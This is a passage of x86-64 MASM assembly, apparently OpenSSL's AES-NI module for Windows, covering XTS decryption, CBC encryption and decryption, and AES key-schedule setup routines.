xmm10,xmm9 DB 102,15,56,222,241 pxor xmm11,xmm9 movdqa XMMWORD PTR[rsp],xmm10 DB 102,15,56,222,249 movups xmm1,XMMWORD PTR[48+r11] pxor xmm12,xmm9 DB 102,15,56,222,208 pxor xmm13,xmm9 movdqa XMMWORD PTR[16+rsp],xmm11 DB 102,15,56,222,216 pxor xmm14,xmm9 movdqa XMMWORD PTR[32+rsp],xmm12 DB 102,15,56,222,224 DB 102,15,56,222,232 pxor xmm8,xmm9 movdqa XMMWORD PTR[64+rsp],xmm14 DB 102,15,56,222,240 DB 102,15,56,222,248 movups xmm0,XMMWORD PTR[64+r11] movdqa XMMWORD PTR[80+rsp],xmm8 pshufd xmm9,xmm15,05fh jmp $L$xts_dec_loop6 ALIGN 32 $L$xts_dec_loop6:: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 movups xmm1,XMMWORD PTR[((-64))+rax*1+rcx] add rax,32 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 movups xmm0,XMMWORD PTR[((-80))+rax*1+rcx] jnz $L$xts_dec_loop6 movdqa xmm8,XMMWORD PTR[r8] movdqa xmm14,xmm9 paddd xmm9,xmm9 DB 102,15,56,222,209 paddq xmm15,xmm15 psrad xmm14,31 DB 102,15,56,222,217 pand xmm14,xmm8 movups xmm10,XMMWORD PTR[r11] DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 pxor xmm15,xmm14 movaps xmm11,xmm10 DB 102,15,56,222,249 movups xmm1,XMMWORD PTR[((-64))+rcx] movdqa xmm14,xmm9 DB 102,15,56,222,208 paddd xmm9,xmm9 pxor xmm10,xmm15 DB 102,15,56,222,216 psrad xmm14,31 paddq xmm15,xmm15 DB 102,15,56,222,224 DB 102,15,56,222,232 pand xmm14,xmm8 movaps xmm12,xmm11 DB 102,15,56,222,240 pxor xmm15,xmm14 movdqa xmm14,xmm9 DB 102,15,56,222,248 movups xmm0,XMMWORD PTR[((-48))+rcx] paddd xmm9,xmm9 DB 102,15,56,222,209 pxor xmm11,xmm15 psrad xmm14,31 DB 102,15,56,222,217 paddq xmm15,xmm15 pand xmm14,xmm8 DB 102,15,56,222,225 DB 102,15,56,222,233 movdqa XMMWORD PTR[48+rsp],xmm13 pxor xmm15,xmm14 DB 102,15,56,222,241 movaps xmm13,xmm12 movdqa xmm14,xmm9 DB 102,15,56,222,249 movups xmm1,XMMWORD PTR[((-32))+rcx] paddd xmm9,xmm9 DB 102,15,56,222,208 pxor xmm12,xmm15 psrad xmm14,31 DB 102,15,56,222,216 paddq xmm15,xmm15 pand xmm14,xmm8 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 pxor xmm15,xmm14 movaps xmm14,xmm13 DB 102,15,56,222,248 movdqa xmm0,xmm9 paddd xmm9,xmm9 DB 102,15,56,222,209 pxor xmm13,xmm15 psrad xmm0,31 DB 102,15,56,222,217 paddq xmm15,xmm15 pand xmm0,xmm8 DB 102,15,56,222,225 DB 102,15,56,222,233 pxor xmm15,xmm0 movups xmm0,XMMWORD PTR[r11] DB 102,15,56,222,241 DB 102,15,56,222,249 movups xmm1,XMMWORD PTR[16+r11] pxor xmm14,xmm15 DB 102,15,56,223,84,36,0 psrad xmm9,31 paddq xmm15,xmm15 DB 102,15,56,223,92,36,16 DB 102,15,56,223,100,36,32 pand xmm9,xmm8 mov rax,r10 DB 102,15,56,223,108,36,48 DB 102,15,56,223,116,36,64 DB 102,15,56,223,124,36,80 pxor xmm15,xmm9 lea rsi,QWORD PTR[96+rsi] movups XMMWORD PTR[(-96)+rsi],xmm2 movups XMMWORD PTR[(-80)+rsi],xmm3 movups XMMWORD PTR[(-64)+rsi],xmm4 movups XMMWORD PTR[(-48)+rsi],xmm5 movups XMMWORD PTR[(-32)+rsi],xmm6 movups XMMWORD PTR[(-16)+rsi],xmm7 sub rdx,16*6 jnc $L$xts_dec_grandloop mov eax,16+96 sub eax,r10d mov rcx,r11 shr eax,4 $L$xts_dec_short:: mov r10d,eax pxor xmm10,xmm0 pxor xmm11,xmm0 add rdx,16*6 jz $L$xts_dec_done pxor xmm12,xmm0 cmp rdx,020h jb $L$xts_dec_one pxor xmm13,xmm0 je $L$xts_dec_two pxor xmm14,xmm0 cmp rdx,040h jb $L$xts_dec_three je $L$xts_dec_four movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqu xmm4,XMMWORD PTR[32+rdi] pxor xmm2,xmm10 movdqu xmm5,XMMWORD PTR[48+rdi] pxor xmm3,xmm11 movdqu xmm6,XMMWORD PTR[64+rdi] lea rdi,QWORD PTR[80+rdi] pxor xmm4,xmm12 pxor xmm5,xmm13 pxor xmm6,xmm14 call _aesni_decrypt6 xorps xmm2,xmm10 xorps xmm3,xmm11 xorps xmm4,xmm12 movdqu XMMWORD PTR[rsi],xmm2 xorps xmm5,xmm13 movdqu XMMWORD PTR[16+rsi],xmm3 xorps xmm6,xmm14 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm14,xmm14 movdqu XMMWORD PTR[48+rsi],xmm5 pcmpgtd xmm14,xmm15 movdqu XMMWORD PTR[64+rsi],xmm6 lea rsi,QWORD PTR[80+rsi] pshufd xmm11,xmm14,013h and r9,15 jz $L$xts_dec_ret movdqa xmm10,xmm15 paddq xmm15,xmm15 pand xmm11,xmm8 pxor xmm11,xmm15 jmp $L$xts_dec_done2 ALIGN 16 $L$xts_dec_one:: movups xmm2,XMMWORD PTR[rdi] lea rdi,QWORD PTR[16+rdi] xorps xmm2,xmm10 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_dec1_12:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_dec1_12 DB 102,15,56,223,209 xorps xmm2,xmm10 movdqa xmm10,xmm11 movups XMMWORD PTR[rsi],xmm2 movdqa xmm11,xmm12 lea rsi,QWORD PTR[16+rsi] jmp $L$xts_dec_done ALIGN 16 $L$xts_dec_two:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] lea rdi,QWORD PTR[32+rdi] xorps xmm2,xmm10 xorps xmm3,xmm11 call _aesni_decrypt2 xorps xmm2,xmm10 movdqa xmm10,xmm12 xorps xmm3,xmm11 movdqa xmm11,xmm13 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 lea rsi,QWORD PTR[32+rsi] jmp $L$xts_dec_done ALIGN 16 $L$xts_dec_three:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] movups xmm4,XMMWORD PTR[32+rdi] lea rdi,QWORD PTR[48+rdi] xorps xmm2,xmm10 xorps xmm3,xmm11 xorps xmm4,xmm12 call _aesni_decrypt3 xorps xmm2,xmm10 movdqa xmm10,xmm13 xorps xmm3,xmm11 movdqa xmm11,xmm14 xorps xmm4,xmm12 movups XMMWORD PTR[rsi],xmm2 movups XMMWORD PTR[16+rsi],xmm3 movups XMMWORD PTR[32+rsi],xmm4 lea rsi,QWORD PTR[48+rsi] jmp $L$xts_dec_done ALIGN 16 $L$xts_dec_four:: movups xmm2,XMMWORD PTR[rdi] movups xmm3,XMMWORD PTR[16+rdi] movups xmm4,XMMWORD PTR[32+rdi] xorps xmm2,xmm10 movups xmm5,XMMWORD PTR[48+rdi] lea rdi,QWORD PTR[64+rdi] xorps xmm3,xmm11 xorps xmm4,xmm12 xorps xmm5,xmm13 call _aesni_decrypt4 pxor xmm2,xmm10 movdqa xmm10,xmm14 pxor xmm3,xmm11 movdqa xmm11,xmm15 pxor xmm4,xmm12 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm5,xmm13 movdqu XMMWORD PTR[16+rsi],xmm3 movdqu XMMWORD PTR[32+rsi],xmm4 movdqu XMMWORD PTR[48+rsi],xmm5 lea rsi,QWORD PTR[64+rsi] jmp $L$xts_dec_done ALIGN 16 $L$xts_dec_done:: and r9,15 jz $L$xts_dec_ret $L$xts_dec_done2:: mov rdx,r9 mov rcx,r11 mov eax,r10d movups xmm2,XMMWORD PTR[rdi] xorps xmm2,xmm11 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_dec1_13:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_dec1_13 DB 102,15,56,223,209 xorps xmm2,xmm11 movups XMMWORD PTR[rsi],xmm2 $L$xts_dec_steal:: movzx eax,BYTE PTR[16+rdi] movzx ecx,BYTE PTR[rsi] lea rdi,QWORD PTR[1+rdi] mov BYTE PTR[rsi],al mov BYTE PTR[16+rsi],cl lea rsi,QWORD PTR[1+rsi] sub rdx,1 jnz $L$xts_dec_steal sub rsi,r9 mov rcx,r11 mov eax,r10d movups xmm2,XMMWORD PTR[rsi] xorps xmm2,xmm10 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_dec1_14:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_dec1_14 DB 102,15,56,223,209 xorps xmm2,xmm10 movups XMMWORD PTR[rsi],xmm2 $L$xts_dec_ret:: movaps xmm6,XMMWORD PTR[((-160))+rbp] movaps xmm7,XMMWORD PTR[((-144))+rbp] movaps xmm8,XMMWORD PTR[((-128))+rbp] movaps xmm9,XMMWORD PTR[((-112))+rbp] movaps xmm10,XMMWORD PTR[((-96))+rbp] movaps xmm11,XMMWORD PTR[((-80))+rbp] movaps xmm12,XMMWORD PTR[((-64))+rbp] movaps xmm13,XMMWORD PTR[((-48))+rbp] movaps xmm14,XMMWORD PTR[((-32))+rbp] movaps xmm15,XMMWORD PTR[((-16))+rbp] lea rsp,QWORD PTR[rbp] pop rbp $L$xts_dec_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_xts_decrypt:: aesni_xts_decrypt ENDP PUBLIC aesni_cbc_encrypt ALIGN 16 aesni_cbc_encrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_cbc_encrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] test rdx,rdx jz $L$cbc_ret mov r10d,DWORD PTR[240+rcx] mov r11,rcx test r9d,r9d jz $L$cbc_decrypt movups xmm2,XMMWORD PTR[r8] mov eax,r10d cmp rdx,16 jb $L$cbc_enc_tail sub rdx,16 jmp $L$cbc_enc_loop ALIGN 16 $L$cbc_enc_loop:: movups xmm3,XMMWORD PTR[rdi] lea rdi,QWORD PTR[16+rdi] movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] xorps xmm3,xmm0 lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm3 $L$oop_enc1_15:: DB 102,15,56,220,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_enc1_15 DB 102,15,56,221,209 mov eax,r10d mov rcx,r11 movups XMMWORD PTR[rsi],xmm2 lea rsi,QWORD PTR[16+rsi] sub rdx,16 jnc $L$cbc_enc_loop add rdx,16 jnz $L$cbc_enc_tail movups XMMWORD PTR[r8],xmm2 jmp $L$cbc_ret $L$cbc_enc_tail:: mov rcx,rdx xchg rsi,rdi DD 09066A4F3h mov ecx,16 sub rcx,rdx xor eax,eax DD 09066AAF3h lea rdi,QWORD PTR[((-16))+rdi] mov eax,r10d mov rsi,rdi mov rcx,r11 xor rdx,rdx jmp $L$cbc_enc_loop ALIGN 16 $L$cbc_decrypt:: lea rax,QWORD PTR[rsp] push rbp sub rsp,176 and rsp,-16 movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$cbc_decrypt_body:: lea rbp,QWORD PTR[((-8))+rax] movups xmm10,XMMWORD PTR[r8] mov eax,r10d cmp rdx,050h jbe $L$cbc_dec_tail movups xmm0,XMMWORD PTR[rcx] movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqa xmm11,xmm2 movdqu xmm4,XMMWORD PTR[32+rdi] movdqa xmm12,xmm3 movdqu xmm5,XMMWORD PTR[48+rdi] movdqa xmm13,xmm4 movdqu xmm6,XMMWORD PTR[64+rdi] movdqa xmm14,xmm5 movdqu xmm7,XMMWORD PTR[80+rdi] movdqa xmm15,xmm6 mov r9d,DWORD PTR[((OPENSSL_ia32cap_P+4))] cmp rdx,070h jbe $L$cbc_dec_six_or_seven and r9d,71303168 sub rdx,050h cmp r9d,4194304 je $L$cbc_dec_loop6_enter sub rdx,020h lea rcx,QWORD PTR[112+rcx] jmp $L$cbc_dec_loop8_enter ALIGN 16 $L$cbc_dec_loop8:: movups XMMWORD PTR[rsi],xmm9 lea rsi,QWORD PTR[16+rsi] $L$cbc_dec_loop8_enter:: movdqu xmm8,XMMWORD PTR[96+rdi] pxor xmm2,xmm0 movdqu xmm9,XMMWORD PTR[112+rdi] pxor xmm3,xmm0 movups xmm1,XMMWORD PTR[((16-112))+rcx] pxor xmm4,xmm0 xor r11,r11 cmp rdx,070h pxor xmm5,xmm0 pxor xmm6,xmm0 pxor xmm7,xmm0 pxor xmm8,xmm0 DB 102,15,56,222,209 pxor xmm9,xmm0 movups xmm0,XMMWORD PTR[((32-112))+rcx] DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 setnc r11b shl r11,7 DB 102,68,15,56,222,201 add r11,rdi movups xmm1,XMMWORD PTR[((48-112))+rcx] DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((64-112))+rcx] nop DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm1,XMMWORD PTR[((80-112))+rcx] nop DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((96-112))+rcx] nop DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm1,XMMWORD PTR[((112-112))+rcx] nop DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((128-112))+rcx] nop DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm1,XMMWORD PTR[((144-112))+rcx] cmp eax,11 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((160-112))+rcx] jb $L$cbc_dec_done DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm1,XMMWORD PTR[((176-112))+rcx] nop DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((192-112))+rcx] je $L$cbc_dec_done DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 DB 102,15,56,222,241 DB 102,15,56,222,249 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movups xmm1,XMMWORD PTR[((208-112))+rcx] nop DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 DB 102,15,56,222,240 DB 102,15,56,222,248 DB 102,68,15,56,222,192 DB 102,68,15,56,222,200 movups xmm0,XMMWORD PTR[((224-112))+rcx] jmp $L$cbc_dec_done ALIGN 16 $L$cbc_dec_done:: DB 102,15,56,222,209 DB 102,15,56,222,217 pxor xmm10,xmm0 pxor xmm11,xmm0 DB 102,15,56,222,225 DB 102,15,56,222,233 pxor xmm12,xmm0 pxor xmm13,xmm0 DB 102,15,56,222,241 DB 102,15,56,222,249 pxor xmm14,xmm0 pxor xmm15,xmm0 DB 102,68,15,56,222,193 DB 102,68,15,56,222,201 movdqu xmm1,XMMWORD PTR[80+rdi] DB 102,65,15,56,223,210 movdqu xmm10,XMMWORD PTR[96+rdi] pxor xmm1,xmm0 DB 102,65,15,56,223,219 pxor xmm10,xmm0 movdqu xmm0,XMMWORD PTR[112+rdi] DB 102,65,15,56,223,228 lea rdi,QWORD PTR[128+rdi] movdqu xmm11,XMMWORD PTR[r11] DB 102,65,15,56,223,237 DB 102,65,15,56,223,246 movdqu xmm12,XMMWORD PTR[16+r11] movdqu xmm13,XMMWORD PTR[32+r11] DB 102,65,15,56,223,255 DB 102,68,15,56,223,193 movdqu xmm14,XMMWORD PTR[48+r11] movdqu xmm15,XMMWORD PTR[64+r11] DB 102,69,15,56,223,202 movdqa xmm10,xmm0 movdqu xmm1,XMMWORD PTR[80+r11] movups xmm0,XMMWORD PTR[((-112))+rcx] movups XMMWORD PTR[rsi],xmm2 movdqa xmm2,xmm11 movups XMMWORD PTR[16+rsi],xmm3 movdqa xmm3,xmm12 movups XMMWORD PTR[32+rsi],xmm4 movdqa xmm4,xmm13 movups XMMWORD PTR[48+rsi],xmm5 movdqa xmm5,xmm14 movups XMMWORD PTR[64+rsi],xmm6 movdqa xmm6,xmm15 movups XMMWORD PTR[80+rsi],xmm7 movdqa xmm7,xmm1 movups XMMWORD PTR[96+rsi],xmm8 lea rsi,QWORD PTR[112+rsi] sub rdx,080h ja $L$cbc_dec_loop8 movaps xmm2,xmm9 lea rcx,QWORD PTR[((-112))+rcx] add rdx,070h jle $L$cbc_dec_tail_collected movups XMMWORD PTR[rsi],xmm9 lea rsi,QWORD PTR[16+rsi] cmp rdx,050h jbe $L$cbc_dec_tail movaps xmm2,xmm11 $L$cbc_dec_six_or_seven:: cmp rdx,060h ja $L$cbc_dec_seven movaps xmm8,xmm7 call _aesni_decrypt6 pxor xmm2,xmm10 movaps xmm10,xmm8 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm6,xmm14 movdqu XMMWORD PTR[48+rsi],xmm5 pxor xmm7,xmm15 movdqu XMMWORD PTR[64+rsi],xmm6 lea rsi,QWORD PTR[80+rsi] movdqa xmm2,xmm7 jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_seven:: movups xmm8,XMMWORD PTR[96+rdi] xorps xmm9,xmm9 call _aesni_decrypt8 movups xmm9,XMMWORD PTR[80+rdi] pxor xmm2,xmm10 movups xmm10,XMMWORD PTR[96+rdi] pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm6,xmm14 movdqu XMMWORD PTR[48+rsi],xmm5 pxor xmm7,xmm15 movdqu XMMWORD PTR[64+rsi],xmm6 pxor xmm8,xmm9 movdqu XMMWORD PTR[80+rsi],xmm7 lea rsi,QWORD PTR[96+rsi] movdqa xmm2,xmm8 jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_loop6:: movups XMMWORD PTR[rsi],xmm7 lea rsi,QWORD PTR[16+rsi] movdqu xmm2,XMMWORD PTR[rdi] movdqu xmm3,XMMWORD PTR[16+rdi] movdqa xmm11,xmm2 movdqu xmm4,XMMWORD PTR[32+rdi] movdqa xmm12,xmm3 movdqu xmm5,XMMWORD PTR[48+rdi] movdqa xmm13,xmm4 movdqu xmm6,XMMWORD PTR[64+rdi] movdqa xmm14,xmm5 movdqu xmm7,XMMWORD PTR[80+rdi] movdqa xmm15,xmm6 $L$cbc_dec_loop6_enter:: lea rdi,QWORD PTR[96+rdi] movdqa xmm8,xmm7 call _aesni_decrypt6 pxor xmm2,xmm10 movdqa xmm10,xmm8 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm6,xmm14 mov rcx,r11 movdqu XMMWORD PTR[48+rsi],xmm5 pxor xmm7,xmm15 mov eax,r10d movdqu XMMWORD PTR[64+rsi],xmm6 lea rsi,QWORD PTR[80+rsi] sub rdx,060h ja $L$cbc_dec_loop6 movdqa xmm2,xmm7 add rdx,050h jle $L$cbc_dec_tail_collected movups XMMWORD PTR[rsi],xmm7 lea rsi,QWORD PTR[16+rsi] $L$cbc_dec_tail:: movups xmm2,XMMWORD PTR[rdi] sub rdx,010h jbe $L$cbc_dec_one movups xmm3,XMMWORD PTR[16+rdi] movaps xmm11,xmm2 sub rdx,010h jbe $L$cbc_dec_two movups xmm4,XMMWORD PTR[32+rdi] movaps xmm12,xmm3 sub rdx,010h jbe $L$cbc_dec_three movups xmm5,XMMWORD PTR[48+rdi] movaps xmm13,xmm4 sub rdx,010h jbe $L$cbc_dec_four movups xmm6,XMMWORD PTR[64+rdi] movaps xmm14,xmm5 movaps xmm15,xmm6 xorps xmm7,xmm7 call _aesni_decrypt6 pxor xmm2,xmm10 movaps xmm10,xmm15 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 pxor xmm6,xmm14 movdqu XMMWORD PTR[48+rsi],xmm5 lea rsi,QWORD PTR[64+rsi] movdqa xmm2,xmm6 sub rdx,010h jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_one:: movaps xmm11,xmm2 movups xmm0,XMMWORD PTR[rcx] movups xmm1,XMMWORD PTR[16+rcx] lea rcx,QWORD PTR[32+rcx] xorps xmm2,xmm0 $L$oop_dec1_16:: DB 102,15,56,222,209 dec eax movups xmm1,XMMWORD PTR[rcx] lea rcx,QWORD PTR[16+rcx] jnz $L$oop_dec1_16 DB 102,15,56,223,209 xorps xmm2,xmm10 movaps xmm10,xmm11 jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_two:: movaps xmm12,xmm3 call _aesni_decrypt2 pxor xmm2,xmm10 movaps xmm10,xmm12 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 movdqa xmm2,xmm3 lea rsi,QWORD PTR[16+rsi] jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_three:: movaps xmm13,xmm4 call _aesni_decrypt3 pxor xmm2,xmm10 movaps xmm10,xmm13 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 movdqa xmm2,xmm4 lea rsi,QWORD PTR[32+rsi] jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_four:: movaps xmm14,xmm5 call _aesni_decrypt4 pxor xmm2,xmm10 movaps xmm10,xmm14 pxor xmm3,xmm11 movdqu XMMWORD PTR[rsi],xmm2 pxor xmm4,xmm12 movdqu XMMWORD PTR[16+rsi],xmm3 pxor xmm5,xmm13 movdqu XMMWORD PTR[32+rsi],xmm4 movdqa xmm2,xmm5 lea rsi,QWORD PTR[48+rsi] jmp $L$cbc_dec_tail_collected ALIGN 16 $L$cbc_dec_tail_collected:: movups XMMWORD PTR[r8],xmm10 and rdx,15 jnz $L$cbc_dec_tail_partial movups XMMWORD PTR[rsi],xmm2 jmp $L$cbc_dec_ret ALIGN 16 $L$cbc_dec_tail_partial:: movaps XMMWORD PTR[rsp],xmm2 mov rcx,16 mov rdi,rsi sub rcx,rdx lea rsi,QWORD PTR[rsp] DD 09066A4F3h $L$cbc_dec_ret:: movaps xmm6,XMMWORD PTR[16+rsp] movaps xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[rbp] pop rbp $L$cbc_ret:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_cbc_encrypt:: aesni_cbc_encrypt ENDP PUBLIC aesni_set_decrypt_key ALIGN 16 aesni_set_decrypt_key PROC PUBLIC DB 048h,083h,0ECh,008h call __aesni_set_encrypt_key shl edx,4 test eax,eax jnz $L$dec_key_ret lea rcx,QWORD PTR[16+rdx*1+r8] movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[rcx] movups XMMWORD PTR[rcx],xmm0 movups XMMWORD PTR[r8],xmm1 lea r8,QWORD PTR[16+r8] lea rcx,QWORD PTR[((-16))+rcx] $L$dec_key_inverse:: movups xmm0,XMMWORD PTR[r8] movups xmm1,XMMWORD PTR[rcx] DB 102,15,56,219,192 DB 102,15,56,219,201 lea r8,QWORD PTR[16+r8] lea rcx,QWORD PTR[((-16))+rcx] movups XMMWORD PTR[16+rcx],xmm0 movups XMMWORD PTR[(-16)+r8],xmm1 cmp rcx,r8 ja $L$dec_key_inverse movups xmm0,XMMWORD PTR[r8] DB 102,15,56,219,192 movups XMMWORD PTR[rcx],xmm0 $L$dec_key_ret:: add rsp,8 DB 0F3h,0C3h ;repret $L$SEH_end_set_decrypt_key:: aesni_set_decrypt_key ENDP PUBLIC aesni_set_encrypt_key ALIGN 16 aesni_set_encrypt_key PROC PUBLIC __aesni_set_encrypt_key:: DB 048h,083h,0ECh,008h mov rax,-1 test rcx,rcx jz $L$enc_key_ret test r8,r8 jz $L$enc_key_ret movups xmm0,XMMWORD PTR[rcx] xorps xmm4,xmm4 lea rax,QWORD PTR[16+r8] cmp edx,256 je $L$14rounds cmp edx,192 je $L$12rounds cmp edx,128 jne $L$bad_keybits $L$10rounds:: mov edx,9 movups XMMWORD PTR[r8],xmm0 DB 102,15,58,223,200,1 call $L$key_expansion_128_cold DB 102,15,58,223,200,2 call $L$key_expansion_128 DB 102,15,58,223,200,4 call $L$key_expansion_128 DB 102,15,58,223,200,8 call $L$key_expansion_128 DB 102,15,58,223,200,16 call $L$key_expansion_128 DB 102,15,58,223,200,32 call $L$key_expansion_128 DB 102,15,58,223,200,64 call $L$key_expansion_128 DB 102,15,58,223,200,128 call $L$key_expansion_128 DB 102,15,58,223,200,27 call $L$key_expansion_128 DB 102,15,58,223,200,54 call $L$key_expansion_128 movups XMMWORD PTR[rax],xmm0 mov DWORD PTR[80+rax],edx xor eax,eax jmp $L$enc_key_ret ALIGN 16 $L$12rounds:: movq xmm2,QWORD PTR[16+rcx] mov edx,11 movups XMMWORD PTR[r8],xmm0 DB 102,15,58,223,202,1 call $L$key_expansion_192a_cold DB 102,15,58,223,202,2 call $L$key_expansion_192b DB 102,15,58,223,202,4 call $L$key_expansion_192a DB 102,15,58,223,202,8 call $L$key_expansion_192b DB 102,15,58,223,202,16 call $L$key_expansion_192a DB 102,15,58,223,202,32 call $L$key_expansion_192b DB 102,15,58,223,202,64 call $L$key_expansion_192a DB 102,15,58,223,202,128 call $L$key_expansion_192b movups XMMWORD PTR[rax],xmm0 mov DWORD PTR[48+rax],edx xor rax,rax jmp $L$enc_key_ret ALIGN 16 $L$14rounds:: movups 